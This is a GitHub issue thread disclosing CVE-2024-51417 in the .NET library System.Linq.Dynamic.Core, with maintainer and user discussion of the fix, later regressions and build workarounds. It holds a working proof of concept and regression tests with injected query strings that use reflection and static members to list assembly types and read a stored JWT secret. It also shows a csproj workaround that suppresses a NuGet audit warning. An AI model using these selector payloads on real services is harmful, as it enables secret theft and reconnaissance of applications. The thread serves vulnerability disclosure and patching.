CVE-2024-51417: System.Linq.Dynamic.Core allows remote access to properties on reflection types and static properties/fields

Summary

System.Linq.Dynamic.Core allows remote access to properties on reflection types and static properties/fields.

Details

Access to properties on reflection types allows listing installed nuget packages' names and versions through attributes and base types they require. Then it is possible to google and exploit their vulnerabilities.

Access to static properties/fields allows just as implied.

PoC

using System.Linq.Dynamic.Core;

var customers = new List<Customer>()
{
    new Customer()
    {
        Id = 1,
        Name = "Mariusz"
    }
};

var userSuppliedColumns1 = new[]
{
    """
    string.Join(
        "\r\n",
        GetType().Assembly.DefinedTypes.SelectMany(CustomAttributes).Select(AttributeType).Select(AssemblyQualifiedName))
    """,
    """
    string.Join(
        "\r\n",
        GetType().Assembly.DefinedTypes.Select(BaseType).Select(AssemblyQualifiedName))
    """,

    """
    c => string.Join(
        "\r\n",
        c.GetType().Assembly.DefinedTypes.SelectMany(t => t.CustomAttributes).Select(a => a.AttributeType).Select(t => t.AssemblyQualifiedName))
    """,
    """
    c => string.Join(
        "\r\n",
        c.GetType().Assembly.DefinedTypes.Select(t => t.BaseType).Select(t => t.AssemblyQualifiedName))
    """
};

foreach (var userSuppliedColumn in userSuppliedColumns1)
{
    foreach (var customer in customers.AsQueryable().Select(userSuppliedColumn))
    {
        Console.WriteLine(customer);
        Console.WriteLine();
    }
}

var userSuppliedColumns2 = new[]
{
    """
    AppSettings.SettingsProp["jwt"]
    """,
    """
    AppSettings.SettingsField["jwt"]
    """,

    """
    c => AppSettings.SettingsProp["jwt"]
    """,
    """
    c => AppSettings.SettingsField["jwt"]
    """
};

foreach (var userSuppliedColumn in userSuppliedColumns2)
{
    foreach (var customer in customers.AsQueryable().Select(userSuppliedColumn))
    {
        Console.WriteLine(customer);
        Console.WriteLine();
    }
}

public class Customer
{
    public int Id { get; set; }
    public string Name { get; set; }
}

public static class AppSettings
{
    public static Dictionary<string, string> SettingsProp { get; } = new()
    {
        { "jwt", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" }
    };

    public static Dictionary<string, string> SettingsField = new()
    {
        { "jwt", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" }
    };
}

Impact

Properties on reflection types PoC executes successfully in System.Linq.Dynamic.Core.1.0.0 and up (patched in System.Linq.Dynamic.Core.1.6.0).

Static properties/fields PoC executes successfully in System.Linq.Dynamic.Core.1.3.10 and up (patched in System.Linq.Dynamic.Core.1.6.0).

Reported by nuget

@StefH

Hi, @StefH anyone working on this? Any timeline.
We are using the latest version and all our github action and devops builds are failing now

We are investigating the issue.

Initial research shows that whitelisting the allowed types would be a solution to fix both issues, however this will impact the usability from this library.

No timeline is known yet.

Just so I'm clear, there is no work around at this time?

Just so I'm clear, there is no work around at this time?

If the code is not building because you treat warnings as errors, you can add
<WarningsNotAsErrors>NU1903</WarningsNotAsErrors>
to your csproj file to temporarily not treat this warning as an error so your code will build again. Then you can remove that when it is patched.

We've added the following to our impacted project's csproj file:

	<ItemGroup>
	  <NuGetAuditSuppress Include="https://github.com/advisories/GHSA-4cv2-4hjh-77rx" />
	</ItemGroup>

It also passes trough our devops pipelines this way, so we are not completely blocked at the moment, off course this can't be a permanent solution

@mariusz96

@mariusz96
Thanks for the detailed information in this issue.

Issue 1. Properties on reflection types

The same result can also be achieved by calling normal C# code:

var names = typeof(Customer)
  .GetType()
  .Assembly
  .DefinedTypes
  .SelectMany(t => t.CustomAttributes)
  .Select(a => a.AttributeType)
  .Select(t => t.AssemblyQualifiedName);

foreach (var name in names)
{
    Console.WriteLine(name);
}

public class Customer
{
    public int Id { get; set; }
    public string Name { get; set; }
}

The only way this will be an issue if you expose the functionality from System.Linq.Dynamic.Core via an unprotected external public API or interface.

Issue 2. Static properties/fields

Also in this case, accessing a static class (normal or via reflection) is also possible in normal C#.

Possible solution

A possible way of solving this issue is that the user needs to whitelist all types which are allowed to use by System.Linq.Dynamic.Core.
This will have impact on the usability, but this will mitigate this CVE because by default no types will be allowed.

Issue 1 I think only is possible because the PredefinedTypesHelper.IsPredefinedType contains the object, can that be the case?
Should issue 2 be solved if the [DynamicLinqType] was checked as well for static members?

@StefH

@mariusz96 Thanks for the detailed information in this issue.

@StefH
Thanks for changing your mind about fixing this!

The only way this will be an issue if you expose the functionality from System.Linq.Dynamic.Core via an unprotected external public API or interface.

I do believe that exposing dynamic filters/queries to the client is very much the intended use case of the library. However, using GetType() as an entry point to the reflection system or accessing static properties like on Environment class is not.

Possible solution

A possible way of solving this issue is that the user needs to whitelist all types which are allowed to use by System.Linq.Dynamic.Core. This will have impact on the usability, but this will mitigate this CVE because by default no types will be allowed.

If you mean to extend the existing mechanism of white-listing methods to additionally white-list all properties and fields then it makes sense and should fix the vulnerability.

Also, when IQueryable works with database it does not seem too much work for the end user to add some attributes/configuration on their table types so they can use them with the library. Might be harder for dependent nuget packages or end users with different use cases though.

@Tasteful

Issue 1 I think only is possible because the PredefinedTypesHelper.IsPredefinedType contains the object, can that be the case? Should issue 2 be solved if the [DynamicLinqType] was checked as well for static members?

@Tasteful
This are indeed a good suggestions.

Issue 1. Properties on reflection types

When removing the object type from PredefinedTypes, this issue seems to be solved. So the provided POC code will now throw an exception when this change in PredefinedTypesHelper is applied.

Related unit-test code:

[Theory]
[InlineData("c => string.Join(\"_\", c.GetType().Assembly.DefinedTypes.SelectMany(t => t.CustomAttributes).Select(a => a.AttributeType).Select(t => t.AssemblyQualifiedName))")]
[InlineData("c => string.Join(\"_\", c.GetType().Assembly.DefinedTypes.Select(t => t.BaseType).Select(t => t.AssemblyQualifiedName))")]
[InlineData("c => string.Join(\"_\", c.GetType().Assembly.FullName))")]
public void UsingSystemReflectionAssembly_ThrowsException(string selector)
{
    // Arrange
    var queryable = new[]
    {
        new Message("Alice", "Bob")
    }.AsQueryable();

    // Act
    Action action = () => queryable.Select(selector);

    // Assert
    action.Should().Throw<ParseException>().WithMessage("Methods on type 'Object' are not accessible");
}

Issue 2: Static properties/fields

This can be solved by only allowing classes which are annotated with [DynamicLinqType]. If the class is not annotated, an exception will be thrown.

Related unit-test code:

[Theory]
[InlineData("System.Linq.Dynamic.Core.Tests.Helpers.Models.AppSettings.SettingsProp[\"jwt\"]")]
[InlineData("System.Linq.Dynamic.Core.Tests.Helpers.Models.AppSettings.SettingsField[\"jwt\"]")]
[InlineData("c => System.Linq.Dynamic.Core.Tests.Helpers.Models.AppSettings.SettingsProp[\"jwt\"]")]
[InlineData("c => System.Linq.Dynamic.Core.Tests.Helpers.Models.AppSettings.SettingsField[\"jwt\"]")]
public void UsingStaticClass_ThrowsException(string selector)
{
    // Arrange
    var queryable = new[]
    {
        new Message("Alice", "Bob")
    }.AsQueryable();

    // Act
    Action action = () => queryable.Select(selector);

    // Assert
    action.Should().Throw<ParseException>().WithMessage("Type 'System.Linq.Dynamic.Core.Tests.Helpers.Models.AppSettings' not found");
}

@mariusz96
Would this solve this CVE ?

With the removal of object from the PredefinedTypes I guess it will also remove the .Equals(...) and .ToString(). Maybe it's better with an ability where it's possible to specify the MethodInfo (or MemberInfo if this should be expanded into properties/fields as well) that should be (dis)allowed, or in a combination that the PredefinedTypes will exclude object but have an explicit list of MethodInfo's that will be allowed. This is something that may be useful for classes that is decorated with DynamicLinqType where it may be only one of many method that should be exposed.

Version 1.6.0 is released.

Thanks for the quick reaction on this vulnerability!

1.6.0-preview-02 This version adds support for Equals(object obj), Equals(object objA, object objB), ReferenceEquals(object objA, object objB) and ToString() on object type.

To enable this functionality, set AllowEqualsAndToStringMethodsOnObject to true on the ParsingConfig settings class.

Am I getting this right: Enabling the functionality would make an application vulnerable again?

We are using this library to pass dynamic predicates into a queryable.Where(), which fails without setting the flag.

Thanks for the quick reaction on this vulnerability!

1.6.0-preview-02 This version adds support for Equals(object obj), Equals(object objA, object objB), ReferenceEquals(object objA, object objB) and ToString() on object type.
To enable this functionality, set AllowEqualsAndToStringMethodsOnObject to true on the ParsingConfig settings class.

Am I getting this right: Enabling the functionality would make an application vulnerable again?

We are using this library to pass dynamic predicates into a queryable.Where(), which fails without setting the flag.

The main part of the vulnerability was the fact that you could call GetType() on object, this is not allowed anymore.

Bump System.Linq.Dynamic.Core from 1.3.8 to 1.6.0.1 ClosedXML#376

Bump System.Linq.Dynamic.Core from 1.3.8 to 1.6.0.1 #376 (#377)

@StefH

Hello, I hope this is still read in a closed issue.
@StefH: I have a question about the fix and the AllowEqualsAndToStringMethodsOnObject config switch.
In our code users can search for Guids using .ToString().StartsWith and that triggers the ParseError in ParseMemberAccess since version 1.6.
The method is ToString, the method.DeclaringType is System.Object, but the value of the parameter type is System.Guid.

Why is method.declaringType used to check PredefinedTypes list instead of the value of parameter type? System.Guid is in that list and ToString will be called on that type not System.Object so that would be my logical choice to check.

@FS-FrankLakmann

@FS-FrankLakmann
Can you provide a full example?

Here is a demo console app. Sorry for the formating.

internal class Program
{
    static void Main(string[] args)
    {
		List<DataWithId> guids = new List<DataWithId>
	    {
	       new DataWithId(Guid.NewGuid(), "bla1"), new DataWithId(Guid.NewGuid(), "bla2"), new DataWithId(Guid.NewGuid(), "bla3"),
	       new DataWithId(Guid.NewGuid(), "bla4"), new DataWithId(new Guid("F370C098-8A29-4CF0-9B58-7F3CE258B607"), "bla5"),
	    };
		IQueryable<DataWithId> queryable = guids.AsQueryable();
        queryable = AddWhere(queryable, "Id", "F370C098");
        var result = queryable.ToList();
        Console.WriteLine(result.Count);
	}

    private static IQueryable<DataWithId> AddWhere(IQueryable<DataWithId> queryable, string fieldName, string value)
    {
        queryable = queryable.Where(fieldName + ".ToString().StartsWith(\"" + value.ToLowerInvariant() + "\")");  // --> Unwanted exception, works with suggested code change
        //var pc = new ParsingConfig();
        //pc.AllowEqualsAndToStringMethodsOnObject = true;
        //queryable = queryable.Where(pc, fieldName + ".ToString().StartsWith(\"" + value.ToLowerInvariant() + "\")"); // --> works but is potentially unsafe
        return queryable;
    }
	public class DataWithId
	{
		public DataWithId(Guid id, string field)
		{
			Id = id; Field = field;
		}
		public Guid Id { get; set; }
		public string Field { get; set; }
	}
}

For Linq2Object we could just use the other overload of ToString.
queryable = queryable.Where(fieldName + ".ToString(\"D\").StartsWith(\"" + value.ToLowerInvariant() + "\")");
That changes the method.DeclaringType to System.Guid. But that is only a trick for this special scenario with Linq2Objects.
In our real world scenario with Linq2NHibernate that doesn't work. But it suggests that the wrong method.DeclaringType is indeed the problem.

@StefH

Hello @StefH,

did you have a chance yet to review my proposed change with the example app?

Why is method.declaringType used to check PredefinedTypes list instead of the value of parameter type? System.Guid is in that list and ToString will be called on that type not System.Object so that would be my logical choice to check.

We would like to avoid spreading AllowEqualsAndToStringMethodsOnObject all over our code.

Thanks in advance
Frank

@FS-FrankLakmann

@FS-FrankLakmann
I think this PR will solve your question.

#911

And I think this PR is safe and I hope it does not introduce extra security issues.

If I try to do ToString() over a property that is defined as an int I'm getting the error. Is this the expected behaviour?? The property is defined as an int, not an object

Navigation Menu

Repository navigation

CVE-2024-51417: System.Linq.Dynamic.Core allows remote access to properties on reflection types and static properties/fields #867

Summary

Details

PoC

Impact

Issue 1. Properties on reflection types

Issue 2. Static properties/fields

Possible solution

Possible solution

Issue 1. Properties on reflection types

Issue 2: Static properties/fields

14 remaining items

Metadata

Assignees

Labels

Type

Projects

Milestone

Relationships

Development

CVE-2024-51417: System.Linq.Dynamic.Core allows remote access to properties on reflection types and static properties/fields #867

Description

Summary

Details

PoC

Impact

Activity

kwaazaar commented on Jan 22, 2025

daesk commented on Jan 22, 2025

StefH commented on Jan 22, 2025

wbuck commented on Jan 22, 2025

jojoman2 commented on Jan 22, 2025

DJFoxHound commented on Jan 22, 2025

StefH commented on Jan 22, 2025

Issue 1. Properties on reflection types

Issue 2. Static properties/fields

Possible solution

Tasteful commented on Jan 22, 2025

mariusz96 commented on Jan 22, 2025

Possible solution

StefH commented on Jan 22, 2025

Issue 1. Properties on reflection types

Issue 2: Static properties/fields

Tasteful commented on Jan 22, 2025

14 remaining items

StefH commented on Jan 26, 2025

MorgeMoensch commented on Jan 27, 2025

StefH commented on Jan 27, 2025

FS-FrankLakmann commented on Aug 18, 2025

StefH commented on Aug 18, 2025

FS-FrankLakmann commented on Aug 19, 2025

FS-FrankLakmann commented on Aug 19, 2025

FS-FrankLakmann commented on Sep 29, 2025

StefH commented on Sep 29, 2025

pabermod commented on May 15, 2026

Metadata

Metadata

Assignees

Labels

Type

Projects

Milestone

Relationships

Development

Issue actions